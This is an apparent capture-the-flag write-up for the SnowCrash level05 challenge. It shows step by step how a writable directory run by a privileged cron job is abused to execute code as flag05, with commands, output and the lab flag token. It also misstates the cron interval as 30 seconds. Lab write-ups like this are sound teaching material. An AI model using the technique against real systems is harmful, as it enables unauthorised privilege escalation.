Level05

No file is present in the home directory of the `level05` user. A quick search with `find` command gives us some results.

```
level05@SnowCrash:~$ find / -name "level05" -exec ls -la {} \; 2>/dev/null
-rw-r--r--+ 1 root mail 58 Nov  4 13:04 /var/mail/level05
-rw-r--r-- 1 root mail 58 Mar 12  2016 /rofs/var/mail/level05
```

Exploring both files with `cat` command show's us that the content of the file is a **CRON job** that executes a script every **30 seconds** with the user `flag05`'s privileges:

```
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
```

Going further by inspecting this script, we can see that it simply runs a `for` loop wich iterates trough all the files in `/opt/openarenaserver`, executes them with `bash` and removes them afterwards.

The `ulimit` command is used to limit the system's resources, hence the `-t 5` option that limits a processes running time to **5 seconds**.

Bash's `-x` option is used to print the commands executed by the script to `stderr`. Nothing useful for us, but still interesting to know.

```sh
#!/bin/sh

for i in /opt/openarenaserver/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
```

Even if it's owned by `root`, the folder seems to have extended permissions, hence the `+` sign at the end. We can find out that It is writable if we try to create a file in it.

```
level05@SnowCrash:~$ ls -l /opt
total 0
drwxrwxr-x+ 2 root root 40 Jan  4 11:55 openarenaserver
level05@SnowCrash:~$ touch /opt/openarenaserver/ouh
level05@SnowCrash:~$ ls -l /opt/openarenaserver
total 0
-rw-rw-r--+ 1 level05 level05 0 Jan  4 12:48 ouh
```

We can simply place a script there with a `getflag > /tmp/flag` command and wait for the `CRON` job to be executed. Upon execution we can output the contents of the file with `cat` and get our flag.

```
level05@SnowCrash:~$ echo "getflag > /tmp/flag.txt" > /opt/openarenaserver/ouh
&& chmod +x /opt/openarenaserver/ouh
level05@SnowCrash:~$ cat /tmp/flag.txt
Check flag.Here is your token : viuaaale9huek52boumoomioc
```